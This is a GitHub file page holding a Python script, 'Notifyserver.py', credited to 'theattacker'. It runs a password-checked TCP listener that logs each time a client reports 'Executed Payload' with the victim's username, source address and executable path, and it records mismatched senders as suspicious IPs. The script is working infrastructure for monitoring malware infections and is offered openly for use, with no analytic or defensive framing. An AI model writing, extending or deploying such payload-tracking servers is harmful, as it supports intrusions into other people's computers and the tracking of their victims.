-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathNotifyserver.py
90 lines (68 loc) · 2.86 KB
/
Notifyserver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import socket
import os.path
import datetime
current_date = datetime.date.today()
__author__ = "theattacker"
susipsname = "susips.txt"
logsname = "serverlogs.txt"
github = "https://github.com/TheNewAttacker64/"
def createtxtfile():
if os.path.exists(susipsname) == False:
with open(susipsname, 'w') as f:
pass
if os.path.exists(logsname) == False:
with open(logsname, 'w') as f:
pass
pass
def banner(author,github):
banner = f"""
_ _ _ _ __ _____
| \ | | | | (_)/ _| / ____|
| \| | ___ | |_ _| |_ _ _ _____| (___ ___ _ ____ _____ _ __
| . ` |/ _ \| __| | _| | | |______\___ \ / _ \ '__\ \ / / _ \ '__|
| |\ | (_) | |_| | | | |_| | ____) | __/ | \ V / __/ |
|_| \_|\___/ \__|_|_| \__, | |_____/ \___|_| \_/ \___|_|
__/ |
|___/
Made By {author}
Github:{github}
"""
return banner
def serverconf(port,password):
Server = socket.socket()
Server.bind(("0.0.0.0", port))
Server.listen(1)
print(f"[+] listening on port {port}")
while True:
try:
(clientsocket, address) = Server.accept()
data = clientsocket.recv(1024).decode('utf-8').strip()
clipass = data.split("|")
username = clipass[1]
exepath = clipass[2]
if password != clipass[0]:
clientsocket.close()
with open(susipsname, "a") as susips:
susips.write(f"""
---------------------------------------------------------------------------------
CameFrom={address}|SentMessageInsteadofTheKey={data}|Date={current_date}
---------------------------------------------------------------------------------
\n
""")
clientsocket.close()
elif clipass[0] == password:
print(f"[+] Executed Payload on={username}|OnDate={current_date}|CameFrom={address}|ExePath={exepath} \n")
with open(logsname, 'a') as log:
log.write(f"""
[+] Executed Payload on={username}|OnDate={current_date}|CameFrom={address}|ExePath={exepath} \n
""")
else:
pass
except:
continue
def main():
print(banner(__author__,github))
port = int(input("enter port:"))
password = input("enter password(should be the same in the client):")
serverconf(port,password)
main()